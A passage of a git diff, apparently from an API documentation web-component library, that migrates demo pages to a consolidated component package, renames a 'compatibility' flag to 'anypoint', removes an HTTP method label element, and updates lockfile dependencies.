-import '@anypoint-web-components/anypoint-dialog/anypoint-dialog-scrollable.js';
-import '@advanced-rest-client/authorization/oauth2-authorization.js';
+import '@anypoint-web-components/awc/anypoint-checkbox.js';
+import '@anypoint-web-components/awc/anypoint-dialog.js';
+import '@anypoint-web-components/awc/anypoint-dialog-scrollable.js';
+import '@advanced-rest-client/app/define/oauth2-authorization.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../api-operation-document.js';
 import '../api-request.js';
@@ -32,7 +32,6 @@ class ComponentPage extends AmfDemoBase {
     this.overrideBaseUri = false;
     this.renderSecurity = true;
     this.renderCodeSnippets = true;
-    this.compatibility = false;
     this.componentName = 'api-operation-document';
     this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`;
   }
@@ -167,7 +166,7 @@ class ComponentPage extends AmfDemoBase {
         ?tryItButton="${tryIt}"
         ?renderCodeSnippets="${renderCodeSnippets}"
         ?renderSecurity="${renderSecurity}"
-        ?anypoint="${this.compatibility}"
+        ?anypoint="${this.anypoint}"
         @tryit="${this.tryitHandler}"
       >
       </api-operation-document>
@@ -260,7 +259,7 @@ class ComponentPage extends AmfDemoBase {
         <api-request
           .amf="${this.amf}"
           .domainId="${this.selectedId}"
-          ?compatibility="${this.compatibility}"
+          ?anypoint="${this.anypoint}"
           urlLabel
           applyAuthorization
           globalCache
@@ -284,7 +283,7 @@ class ComponentPage extends AmfDemoBase {
       amf,
       serverType,
       serverValue,
-      compatibility,
+      anypoint,
     } = this;
     return html`
     <api-server-selector
@@ -293,7 +292,7 @@ class ComponentPage extends AmfDemoBase {
       .type="${serverType}"
       autoSelect
       allowCustom
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
       @apiserverchanged="${this._serverHandler}"
     ></api-server-selector>`;
   }
diff --git a/demo/api-payload.js b/demo/api-payload.js
index 58570f9..671f04c 100644
--- a/demo/api-payload.js
+++ b/demo/api-payload.js
@@ -21,7 +21,6 @@ class ComponentPage extends AmfDemoBase {
     this.request = undefined;
     /** @type ResponsePayload[] */
     this.response = undefined;
-    this.compatibility = false;
     this.componentName = 'api-payload-document';
   }
 
diff --git a/demo/api-request.js b/demo/api-request.js
index 8a40c71..8330c7f 100644
--- a/demo/api-request.js
+++ b/demo/api-request.js
@@ -1,9 +1,9 @@
 import { html } from 'lit-html';
-import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
+import '@anypoint-web-components/awc/anypoint-checkbox.js';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
-import '@advanced-rest-client/authorization/oauth2-authorization.js';
-import '@advanced-rest-client/authorization/oauth1-authorization.js';
-import '@advanced-rest-client/authorization/oidc-authorization.js';
+import '@advanced-rest-client/app/define/oauth2-authorization.js';
+import '@advanced-rest-client/app/define/oauth1-authorization.js';
+import '@advanced-rest-client/app/define/oidc-authorization.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../api-navigation.js';
 import '../xhr-simple-request.js';
@@ -50,8 +50,8 @@ class ComponentDemo extends AmfDemoBase {
   _demoStateHandler(e) {
     const state = e.detail.value;
     this.outlined = state === 1;
-    this.compatibility = state === 2;
-    this._updateCompatibility();
+    this.anypoint = state === 2;
+    this._updateAnypoint();
   }
 
   _authSettingsChanged(e) {
@@ -166,7 +166,7 @@ class ComponentDemo extends AmfDemoBase {
       demoStates,
       darkThemeActive,
       outlined,
-      compatibility,
+      anypoint,
       amf,
       redirectUri,
       allowCustom,
@@ -193,7 +193,7 @@ class ComponentDemo extends AmfDemoBase {
           ?allowCustom="${allowCustom}"
           ?allowHideOptional="${allowHideOptional}"
           ?outlined="${outlined}"
-          ?compatibility="${compatibility}"
+          ?anypoint="${anypoint}"
           ?urlEditor="${urlEditor}"
           ?urlLabel="${urlLabel}"
           ?noServerSelector="${noServerSelector}"
diff --git a/demo/api-resource.js b/demo/api-resource.js
index 851e7e1..35d32eb 100644
--- a/demo/api-resource.js
+++ b/demo/api-resource.js
@@ -1,9 +1,9 @@
 import { html } from 'lit-html';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
-import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
-import '@anypoint-web-components/anypoint-dialog/anypoint-dialog.js';
-import '@anypoint-web-components/anypoint-dialog/anypoint-dialog-scrollable.js';
-import '@advanced-rest-client/authorization/oauth2-authorization.js';
+import '@anypoint-web-components/awc/anypoint-checkbox.js';
+import '@anypoint-web-components/awc/anypoint-dialog.js';
+import '@anypoint-web-components/awc/anypoint-dialog-scrollable.js';
+import '@advanced-rest-client/app/define/oauth2-authorization.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../api-resource-document.js';
 import '../api-request.js';
@@ -20,7 +20,6 @@ class ComponentPage extends AmfDemoBase {
       'editorOpened', 'editorOperation', 'overrideBaseUri',
       'serverType', 'serverValue',
     ]);
-    this.compatibility = false;
     this.editorOpened = false;
     this.editorOperation = undefined;
     this.selectedId = undefined;
@@ -167,7 +166,7 @@ class ComponentPage extends AmfDemoBase {
         .serverValue="${this.serverValue}"
         ?tryItButton="${tryItButton}"
         ?tryItPanel="${tryItPanel}"
-        ?anypoint="${this.compatibility}"
+        ?anypoint="${this.anypoint}"
         .baseUri="${finalBaseUri}"
         slot="content"
         @tryit="${this.tryitHandler}"
@@ -248,7 +247,7 @@ class ComponentPage extends AmfDemoBase {
         <api-request
           .amf="${this.amf}"
           .domainId="${this.selectedOperation}"
-          ?compatibility="${this.compatibility}"
+          ?anypoint="${this.anypoint}"
           urlLabel
           applyAuthorization
           globalCache
@@ -272,7 +271,7 @@ class ComponentPage extends AmfDemoBase {
       amf,
       serverType,
       serverValue,
-      compatibility,
+      anypoint,
     } = this;
     return html`
     <api-server-selector
@@ -281,7 +280,7 @@ class ComponentPage extends AmfDemoBase {
       .type="${serverType}"
       autoSelect
       allowCustom
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
       @apiserverchanged="${this._serverHandler}"
     ></api-server-selector>`;
   }
diff --git a/demo/api-schema-documentation.js b/demo/api-schema-documentation.js
index fc3ae1a..6781bc7 100644
--- a/demo/api-schema-documentation.js
+++ b/demo/api-schema-documentation.js
@@ -2,7 +2,7 @@
 import { html } from 'lit-html';
 import { ifDefined } from 'lit-html/directives/if-defined.js';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
-import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
+import '@anypoint-web-components/awc/anypoint-checkbox.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../api-schema-document.js';
 import '../api-navigation.js';
diff --git a/demo/api-security-documentation.js b/demo/api-security-documentation.js
index be1cd51..ed11034 100644
--- a/demo/api-security-documentation.js
+++ b/demo/api-security-documentation.js
@@ -1,7 +1,7 @@
 /* eslint-disable lit-a11y/click-events-have-key-events */
 import { html } from 'lit-html';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
-import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
+import '@anypoint-web-components/awc/anypoint-checkbox.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../api-security-document.js';
 
diff --git a/demo/api-summary.js b/demo/api-summary.js
index bac1f92..552ab6f 100644
--- a/demo/api-summary.js
+++ b/demo/api-summary.js
@@ -1,6 +1,6 @@
 import { html } from 'lit-html';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
-import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
+import '@anypoint-web-components/awc/anypoint-checkbox.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../api-summary.js';
 
@@ -11,7 +11,6 @@ class ComponentPage extends AmfDemoBase {
       'selectedId', 'selectedType', 'selectedOperation', 'tryIt',
       'editorOpened', 'editorOperation', 'overrideBaseUri',
     ]);
-    this.compatibility = false;
     this.componentName = 'api-summary';
     this.overrideBaseUri = false;
     this.noApiNavigation = true;
diff --git a/demo/http-label.html b/demo/http-label.html
deleted file mode 100644
index a6c2cbf..0000000
--- a/demo/http-label.html
+++ /dev/null
@@ -1,68 +0,0 @@
-<!doctype html>
-<html>
-<head>
-  <meta charset="utf-8">
-  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
-  <meta name="viewport" content="width=device-width, minimum-scale=1.0, initial-scale=1, user-scalable=yes">
-  <title>http-method-label demo</title>
-  <style>
-  html {
-    --http-method-label-options-background-color: #ff9c9c1f;
-    --http-method-label-options-color: #ff9c9c;
-    --http-method-label-head-background-color: rgba(0, 150, 136, 0.12);
-    --http-method-label-head-color: rgba(0, 150, 136, 1);
-    --http-method-label-trace-background-color: rgba(76, 175, 80, 0.12);
-    --http-method-label-trace-color: #4CAF50;
-  }
-  .vertical-section-container {
-    max-width: 600px;
-  }
-  </style>
-
-  <script type="module">
-  import '../http-method-label.js';
-  import '@advanced-rest-client/arc-demo-helper/arc-demo-helper.js';
-  </script>
-</head>
-<body unresolved>
-  <div class="vertical-section-container centered">
-    <h3>The `http-method-label`</h3>
-    <arc-demo-helper>
-      <template>
-        <http-method-label method="get"></http-method-label>
-        <http-method-label method="POST"></http-method-label>
-        <http-method-label method="Put"></http-method-label>
-        <http-method-label method="delete"></http-method-label>
-        <http-method-label method="patch"></http-method-label>
-        <http-method-label method="options"></http-method-label>
-        <http-method-label method="head"></http-method-label>
-        <http-method-label method="trace"></http-method-label>
-        <http-method-label method="connect"></http-method-label>
-        <http-method-label method="publish"></http-method-label>
-        <http-method-label method="subscribe"></http-method-label>
-        <style>
-          http-method-label { margin-right: 12px; }
-        </style>
-      </template>
-    </arc-demo-helper>
-
-    <h3>Custom styling</h3>
-    <arc-demo-helper>
-      <template>
-        <http-method-label method="warning"></http-method-label>
-        <http-method-label method="danger"></http-method-label>
-        <style>
-        http-method-label[method="warning"] {
-          color: white;
-          background-color: orange;
-        }
-        http-method-label[method="danger"] {
-          color: white;
-          background-color: red;
-        }
-        </style>
-      </template>
-    </arc-demo-helper>
-  </div>
-</body>
-</html>
diff --git a/demo/index.html b/demo/index.html
index 56fc5d3..5b7468c 100644
--- a/demo/index.html
+++ b/demo/index.html
@@ -37,8 +37,6 @@ <h2>Documentation viewers</h2>
         <dd>An annotation render element.</dd>
         <dt><a href="api-payload.html">Api payload</a></dt>
         <dd>A documentation for a payload (request and response).</dd>
-        <dt><a href="http-label.html">HTTP operation label</a></dt>
-        <dd>An element to render a pill with HTTP operation name</dd>
       </dl>
       <h2>Request editor</h2>
       <dl>
diff --git a/demo/lib/AmfDemoBase.js b/demo/lib/AmfDemoBase.js
index 6fc9c6b..ed9dc1a 100644
--- a/demo/lib/AmfDemoBase.js
+++ b/demo/lib/AmfDemoBase.js
@@ -1,9 +1,9 @@
 import { html } from 'lit-html';
 import { DemoPage } from "@advanced-rest-client/arc-demo-helper";
 import { MonacoLoader } from "@advanced-rest-client/monaco-support";
-import '@anypoint-web-components/anypoint-dropdown-menu/anypoint-dropdown-menu.js';
-import '@anypoint-web-components/anypoint-listbox/anypoint-listbox.js';
-import '@anypoint-web-components/anypoint-item/anypoint-item.js';
+import '@anypoint-web-components/awc/anypoint-dropdown-menu.js';
+import '@anypoint-web-components/awc/anypoint-listbox.js';
+import '@anypoint-web-components/awc/anypoint-item.js';
 import { DomEventsAmfStore } from "../../src/store/DomEventsAmfStore.js";
 import { AmfHelperMixin } from "../../src/helpers/AmfHelperMixin.js";
 import { EventTypes } from '../../src/events/EventTypes.js';
@@ -12,7 +12,7 @@ import '../../api-navigation.js';
 import './ApiStyles.js';
 
 /** @typedef {import('lit-html').TemplateResult} TemplateResult */
-/** @typedef {import('@anypoint-web-components/anypoint-listbox').AnypointListbox} AnypointListbox */
+/** @typedef {import('@anypoint-web-components/awc').AnypointListboxElement} AnypointListbox */
 /** @typedef {import('../../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
 const routes = [
@@ -230,7 +230,7 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
           slot="dropdown-content" 
           id="apiList"
           .selected="${selectedFile}"
-          @selected-changed="${this._apiChanged}"
+          @selectedchange="${this._apiChanged}"
           attrForSelected="data-src"
         >
           ${this._apiListTemplate()}
diff --git a/demo/oauth-authorize.js b/demo/oauth-authorize.js
index 76cb17b..3bf0d93 100644
--- a/demo/oauth-authorize.js
+++ b/demo/oauth-authorize.js
@@ -1,7 +1,7 @@
-import '@anypoint-web-components/anypoint-input/anypoint-input.js';
-import '@anypoint-web-components/anypoint-button/anypoint-button.js';
-import '@anypoint-web-components/anypoint-input/anypoint-masked-input.js';
-import { v4 } from '@advanced-rest-client/uuid-generator';
+import '@anypoint-web-components/awc/anypoint-input.js';
+import '@anypoint-web-components/awc/anypoint-button.js';
+import '@anypoint-web-components/awc/anypoint-masked-input.js';
+import { v4 } from '@advanced-rest-client/uuid';
 
 function setupFormAction() {
   const u = new URL(window.location.href)
diff --git a/demo/request-editor.js b/demo/request-editor.js
index ecb9bee..01fc6cf 100644
--- a/demo/request-editor.js
+++ b/demo/request-editor.js
@@ -1,10 +1,10 @@
 import { html } from 'lit-html';
-import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
-import '@anypoint-web-components/anypoint-item/anypoint-item.js';
+import '@anypoint-web-components/awc/anypoint-checkbox.js';
+import '@anypoint-web-components/awc/anypoint-item.js';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
-import '@advanced-rest-client/authorization/oidc-authorization.js';
-import '@advanced-rest-client/authorization/oauth2-authorization.js';
-import '@advanced-rest-client/authorization/oauth1-authorization.js';
+import '@advanced-rest-client/app/define/oidc-authorization.js';
+import '@advanced-rest-client/app/define/oauth2-authorization.js';
+import '@advanced-rest-client/app/define/oauth1-authorization.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../xhr-simple-request.js';
 import '../api-request-editor.js';
@@ -48,8 +48,8 @@ class ComponentDemo extends AmfDemoBase {
   _demoStateHandler(e) {
     const state = e.detail.value;
     this.outlined = state === 1;
-    this.compatibility = state === 2;
-    this._updateCompatibility();
+    this.anypoint = state === 2;
+    this._updateAnypoint();
   }
 
   _authSettingsChanged(e) {
@@ -132,18 +132,18 @@ class ComponentDemo extends AmfDemoBase {
     if (!this.renderCustomServer) {
       return '';
     }
-    const { compatibility } = this;
+    const { anypoint } = this;
     return html`
     <div class="other-section" slot="custom-base-uri">Other options</div>
     <anypoint-item
       slot="custom-base-uri"
       data-value="http://mocking.com"
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
     >Mocking service</anypoint-item>
     <anypoint-item
       slot="custom-base-uri"
       data-value="http://customServer.com2"
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
     >Custom instance</anypoint-item>`;
   }
 
@@ -197,7 +197,7 @@ class ComponentDemo extends AmfDemoBase {
       demoStates,
       darkThemeActive,
       outlined,
-      compatibility,
+      anypoint,
       amf,
       redirectUri,
       allowCustom,
@@ -223,7 +223,7 @@ class ComponentDemo extends AmfDemoBase {
           ?allowCustom="${allowCustom}"
           ?allowHideOptional="${allowHideOptional}"
           ?outlined="${outlined}"
-          ?compatibility="${compatibility}"
+          ?anypoint="${anypoint}"
           ?urlLabel="${urlLabel}"
           ?urlEditor="${urlEditor}"
           ?applyAuthorization="${applyAuthorization}"
diff --git a/demo/server-selector.js b/demo/server-selector.js
index 21af378..cbf3741 100644
--- a/demo/server-selector.js
+++ b/demo/server-selector.js
@@ -1,5 +1,5 @@
 import { html } from 'lit-html';
-import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
+import '@anypoint-web-components/awc/anypoint-checkbox.js';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../api-server-selector.js';
@@ -37,8 +37,8 @@ class ComponentDemo extends AmfDemoBase {
     const state = e.detail.value;
     this.demoState = state;
     this.outlined = state === 1;
-    this.compatibility = state === 2;
-    this._updateCompatibility();
+    this.anypoint = state === 2;
+    this._updateAnypoint();
   }
 
   /**
@@ -113,7 +113,7 @@ class ComponentDemo extends AmfDemoBase {
       amf,
       demoStates,
       darkThemeActive,
-      compatibility,
+      anypoint,
       outlined,
       demoState,
       allowCustom,
@@ -133,7 +133,7 @@ class ComponentDemo extends AmfDemoBase {
       <div class="selector-container" slot="content">
         <api-server-selector
           .amf="${amf}"
-          ?compatibility="${compatibility}"
+          ?anypoint="${anypoint}"
           ?allowCustom="${allowCustom}"
           ?outlined="${outlined}"
           ?autoSelect="${autoSelect}"
@@ -180,25 +180,25 @@ class ComponentDemo extends AmfDemoBase {
     if (!this.renderCustom) {
       return "";
     }
-    const { compatibility } = this;
+    const { anypoint } = this;
     return html` <div class="other-section" slot="custom-base-uri">
         Other options
       </div>
       <anypoint-item
         slot="custom-base-uri"
         data-value="http://customServer.com"
-        ?compatibility="${compatibility}"
+        ?anypoint="${anypoint}"
       >
         Mocking service
       </anypoint-item>
       <anypoint-item
         slot="custom-base-uri"
         data-value="http://customServer2.com"
-        ?compatibility="${compatibility}"
+        ?anypoint="${anypoint}"
       >
         Custom instance
       </anypoint-item>
-      <anypoint-item slot="custom-base-uri" ?compatibility="${compatibility}">
+      <anypoint-item slot="custom-base-uri" ?anypoint="${anypoint}">
         Unselectable
       </anypoint-item>`;
   }
diff --git a/http-method-label.d.ts b/http-method-label.d.ts
deleted file mode 100644
index 8e13bcc..0000000
--- a/http-method-label.d.ts
+++ /dev/null
@@ -1,7 +0,0 @@
-import Element from './src/elements/HttpMethodLabelElement.js';
-
-declare global {
-  interface HTMLElementTagNameMap {
-    "http-method-label": Element;
-  }
-}
diff --git a/http-method-label.js b/http-method-label.js
deleted file mode 100644
index f151c1f..0000000
--- a/http-method-label.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/HttpMethodLabelElement.js';
-
-window.customElements.define('http-method-label', Element);
diff --git a/index.d.ts b/index.d.ts
index d38708d..7010bc2 100644
--- a/index.d.ts
+++ b/index.d.ts
@@ -16,7 +16,6 @@ export { default as ApiRequestEditorElement } from './src/elements/ApiRequestEdi
 export { default as ApiAuthorizationEditorElement } from './src/elements/ApiAuthorizationEditorElement';
 export { default as ApiAuthorizationMethodElement } from './src/elements/ApiAuthorizationMethodElement';
 export { default as ApiServerSelectorElement } from './src/elements/ApiServerSelectorElement';
-export { default as HttpMethodLabelElement } from './src/elements/HttpMethodLabelElement';
 export { default as ApiNavigationElement } from './src/elements/ApiNavigationElement';
 export { default as ApiSecurityDocumentElement } from './src/elements/ApiSecurityDocumentElement';
 export { default as ApiParametrizedSecuritySchemeElement } from './src/elements/ApiParametrizedSecuritySchemeElement';
@@ -32,7 +31,6 @@ export { AmfSerializer } from './src/helpers/AmfSerializer';
 export { ns } from './src/helpers/Namespace';
 export * as Amf from './src/helpers/amf';
 export * as Api from './src/helpers/api';
-export * as HttpStyles from './src/elements/styles/HttpLabel';
 export { ApiExampleGenerator } from './src/schema/ApiExampleGenerator';
 export { ApiMonacoSchemaGenerator } from './src/schema/ApiMonacoSchemaGenerator';
 export { ApiSchemaValues } from './src/schema/ApiSchemaValues';
@@ -41,6 +39,6 @@ export * from './src/events/EventTypes';
 export * from './src/events/Events';
 export { ApiNavigationEventDetail } from './src/events/NavigationEvents';
 export { ReportingErrorEventDetail } from './src/events/ReportingEvents';
-export { AbortRequestEvent, ApiRequestEvent, ApiResponseEvent, AbortRequestEventDetail } from './src/events/RequestEvents';
+export { AbortRequestEvent, ApiRequestEvent, ApiResponseEvent } from './src/events/RequestEvents';
 export { ServerChangeEvent, ServerChangeEventDetail, ServerCountChangeEvent, ServerCountChangeEventDetail } from './src/events/ServerEvents';
 export { TelemetryCustomMetric, TelemetryCustomValue, TelemetryDetail, TelemetryEventDetail, TelemetryExceptionDetail, TelemetryScreenViewDetail, TelemetrySocialDetail, TelemetryTimingDetail } from './src/events/TelemetryEvents';
diff --git a/index.js b/index.js
index 9733b08..a705d92 100644
--- a/index.js
+++ b/index.js
@@ -16,7 +16,7 @@ export { default as ApiRequestEditorElement } from './src/elements/ApiRequestEdi
 export { default as ApiAuthorizationEditorElement } from './src/elements/ApiAuthorizationEditorElement.js';
 export { default as ApiAuthorizationMethodElement } from './src/elements/ApiAuthorizationMethodElement.js';
 export { default as ApiServerSelectorElement } from './src/elements/ApiServerSelectorElement.js';
-export { default as HttpMethodLabelElement } from './src/elements/HttpMethodLabelElement.js';
+
 export { default as ApiNavigationElement } from './src/elements/ApiNavigationElement.js';
 export { default as ApiSecurityDocumentElement } from './src/elements/ApiSecurityDocumentElement.js';
 export { default as ApiParametrizedSecuritySchemeElement } from './src/elements/ApiParametrizedSecuritySchemeElement.js';
@@ -31,7 +31,6 @@ export { SecurityProcessor } from './src/lib/SecurityProcessor.js';
 export { AmfHelperMixin } from './src/helpers/AmfHelperMixin.js';
 export { AmfSerializer } from './src/helpers/AmfSerializer.js';
 export { ns } from './src/helpers/Namespace.js';
-export * as HttpStyles from './src/elements/styles/HttpLabel.js';
 export { ApiExampleGenerator } from './src/schema/ApiExampleGenerator.js';
 export { ApiMonacoSchemaGenerator } from './src/schema/ApiMonacoSchemaGenerator.js';
 export { ApiSchemaValues } from './src/schema/ApiSchemaValues.js';
diff --git a/package-lock.json b/package-lock.json
index b64b8ed..50fa67a 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -4,47 +4,31 @@
   "lockfileVersion": 1,
   "requires": true,
   "dependencies": {
-    "@advanced-rest-client/arc-cookies": {
-      "version": "0.2.0",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-cookies/-/arc-cookies-0.2.0.tgz",
-      "integrity": "sha512-acD0zqaOLdI3xLnhEKH1CaiqHmQKwoZfq+KYPchEsgYqJGyuYL9obHzi8hugmQog2sgKxtsMn5V2NQZZDZVxdQ==",
-      "requires": {
-        "@advanced-rest-client/arc-events": "^0.2.10",
-        "@advanced-rest-client/arc-icons": "^3.3.3",
-        "@advanced-rest-client/arc-models": "^5.1.0",
-        "@advanced-rest-client/arc-resizable-mixin": "^1.2.1",
-        "@advanced-rest-client/arc-types": "^0.2.50",
-        "@advanced-rest-client/bottom-sheet": "^3.2.3",
-        "@anypoint-web-components/anypoint-button": "^1.2.1",
-        "@anypoint-web-components/anypoint-checkbox": "^1.2.1",
-        "@anypoint-web-components/anypoint-dialog": "^0.1.9",
-        "@anypoint-web-components/anypoint-input": "^0.2.25",
-        "@anypoint-web-components/anypoint-item": "^1.1.2",
-        "@anypoint-web-components/anypoint-selector": "^1.1.7",
+    "@advanced-rest-client/app": {
+      "version": "0.1.0",
+      "resolved": "https://registry.npmjs.org/@advanced-rest-client/app/-/app-0.1.0.tgz",
+      "integrity": "sha512-Di4iVYI1T3vULcOWlkVdiH0d03BMYNM6P/2nYgskKFRxdju6BeO5K53aPL2vAMUIJ3OSbshEJfh/Ph0nejBY1g==",
+      "requires": {
+        "@advanced-rest-client/events": "^0.2.22",
+        "@advanced-rest-client/icons": "^4.0.0",
+        "@advanced-rest-client/libs": "^1.0.1",
+        "@advanced-rest-client/monaco-support": "^1.0.1",
+        "@advanced-rest-client/uuid": "^4.0.0",
+        "@anypoint-web-components/awc": "^1.0.4",
         "@github/time-elements": "^3.1.2",
         "lit-element": "^2.5.1",
-        "lit-html": "^1.4.1"
+        "lit-html": "^1.4.1",
+        "monaco-editor": "^0.29.1",
+        "prismjs": "^1.25.0"
       }
     },
-    "@advanced-rest-client/arc-definitions": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-definitions/-/arc-definitions-3.1.1.tgz",
-      "integrity": "sha512-AbnR14AdFwlVSqWF83senQVM5JjllBoRq5uCGBGw8gLhIXylG+nlk+9sOLlpWCeAaxYiiGGqw/Lw4Ke57xf6Hw=="
-    },
     "@advanced-rest-client/arc-demo-helper": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-demo-helper/-/arc-demo-helper-4.0.1.tgz",
-      "integrity": "sha512-oYJl6Ynn7Ac96xSpT8aXasY2WJvYmsjO9aL9h4uDAvSdlR3qu0htt7A0+qwRoSjTV0jfyYKq0pllo/MVNDUqVw==",
-      "dev": true,
-      "requires": {
-        "@advanced-rest-client/arc-icons": "^3.3.4",
-        "@anypoint-web-components/anypoint-button": "^1.2.3",
-        "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.21",
-        "@anypoint-web-components/anypoint-item": "^1.1.2",
-        "@anypoint-web-components/anypoint-listbox": "^1.1.7",
-        "@anypoint-web-components/anypoint-menu-button": "^0.1.5",
-        "@anypoint-web-components/anypoint-switch": "^0.1.10",
-        "@anypoint-web-components/anypoint-tabs": "^0.1.19",
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-demo-helper/-/arc-demo-helper-5.0.1.tgz",
+      "integrity": "sha512-axaa4RrYmy0Z2COsj/wNWTu7C6LgO4YGKx2hochcHlnv6qAaH4ySU67R1TUY/I9Q8iX+eujK9Axxh0Nctq8uDw==",
+      "dev": true,
+      "requires": {
+        "@anypoint-web-components/awc": "^1.0.3",
         "@open-wc/dedupe-mixin": "^1.3.0",
         "@polymer/font-roboto": "^3.0.2",
         "lit-element": "^2.5.1",
@@ -52,265 +36,53 @@
         "prismjs": "^1.25.0"
       }
     },
-    "@advanced-rest-client/arc-events": {
-      "version": "0.2.21",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-events/-/arc-events-0.2.21.tgz",
-      "integrity": "sha512-pxwE/zN/URuOP3R6OMDs/3wgWVD5I+jKwSS0Ku5qQuE6MN7JqJh/w/n8TBUrrdcFM4pVlAIrhaIbjVQ9S1395A==",
-      "requires": {
-        "@advanced-rest-client/arc-types": "^0.2.61"
-      }
-    },
-    "@advanced-rest-client/arc-fit-mixin": {
-      "version": "1.2.2",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-fit-mixin/-/arc-fit-mixin-1.2.2.tgz",
-      "integrity": "sha512-fakoD1QuLM3QswgnlZXEWJ3SAHEFziF8BnNLWGN4BpBF1vu6y9nJDBEC+SpOaz0yvMa07BCRD7InJ+2ZEX41vA==",
-      "requires": {
-        "@open-wc/dedupe-mixin": "^1.3.0"
-      }
-    },
-    "@advanced-rest-client/arc-headers": {
-      "version": "0.1.10",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-headers/-/arc-headers-0.1.10.tgz",
-      "integrity": "sha512-H3mFYOnqHlSMgSqg0pFtR7kluSIgAMqdT4+02AUuDD6DuXqzhtxzY9OLQaZFOnQ/TQ0+UO95Jvk+pxcKSA1E3Q==",
-      "requires": {
-        "@advanced-rest-client/arc-definitions": "^3.1.1",
-        "@advanced-rest-client/arc-events": "^0.2.13",
-        "@advanced-rest-client/arc-icons": "^3.2.2",
-        "@advanced-rest-client/arc-types": "^0.2.47",
-        "@advanced-rest-client/clipboard-copy": "^3.0.1",
-        "@advanced-rest-client/code-mirror": "^3.1.4",
-        "@advanced-rest-client/events-target-mixin": "^3.2.3",
-        "@anypoint-web-components/anypoint-autocomplete": "^0.2.8",
-        "@anypoint-web-components/anypoint-button": "^1.1.1",
-        "@anypoint-web-components/anypoint-input": "^0.2.23",
-        "@anypoint-web-components/anypoint-switch": "^0.1.4",
-        "@open-wc/dedupe-mixin": "^1.3.0",
-        "lit-element": "^2.4.0",
-        "lit-html": "^1.3.0"
-      }
-    },
-    "@advanced-rest-client/arc-icons": {
-      "version": "3.3.4",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-icons/-/arc-icons-3.3.4.tgz",
-      "integrity": "sha512-kISi0kToB2Eqem21miPZoyJ2eSwqvtZQClt93pPP/LrRyuQHjWNp38bOLW6tFExmn6aTFYZK9v3X++lXZ3fqIg==",
-      "requires": {
-        "lit-element": "^2.5.1",
-        "lit-html": "^1.4.1"
-      }
+    "@advanced-rest-client/events": {
+      "version": "0.2.22",
+      "resolved": "https://registry.npmjs.org/@advanced-rest-client/events/-/events-0.2.22.tgz",
+      "integrity": "sha512-fSFuJ+1N5Z7VnXjV+9BuSHxEOUoOBcOa1uitDKI0aqEHWQpF8URTKswdYAldQQQy/76FtXCDa5aBKHQSwJ/z3A=="
     },
-    "@advanced-rest-client/arc-models": {
-      "version": "5.2.3",
-      "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-models/-/arc-models-5.2.3.tgz",
-      "integrity": "sha512-kCMe+IKL6St744BsywD+n9BEvnkrk2S/Y40rsLH3iiL66wggODC98IYyst5YglOX5hkFaztu67LdpygddxiRwA==",
-      "requires": {
-        "@advanced-rest-client/arc-events": "^0.2.18",
-        "@advanced-rest-client/arc-icons": "^3.3.3",
-        "@advanced-rest-client/body-editor": "^0.2.5",
-        "@advanced-rest-client/date-time": "^3.0.2",
-        "@advanced-rest-client/pouchdb-quick-search": "^2.0.3",
-        "@advanced-rest-client/uuid-generator": "^3.1.2",
-        "@anypoint-web-components/anypoint-autocomplete": "^0.2.12",
-        "@anypoint-web-components/anypoint-button": "^1.2.2",
-        "@anypoint-web-components/anypoint-checkbox": "^1.2.1",
-        "@anypoint-web-components/anypoint-collapse": "^0.1.2",
-        "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.21",
-        "@anypoint-web-components/anypoint-input": "^0.2.27",
-        "@anypoint-web-components/anypoint-item": "^1.1.2",
-        "@anypoint-web-components/anypoint-listbox": "^1.1.7",
-        "@anypoint-web-components/anypoint-selector": "^1.1.7",
-        "@api-components/http-method-label": "^3.1.4",
-        "lit-element": "^2.5.1",
-        "lit-html": "^1.4.1",
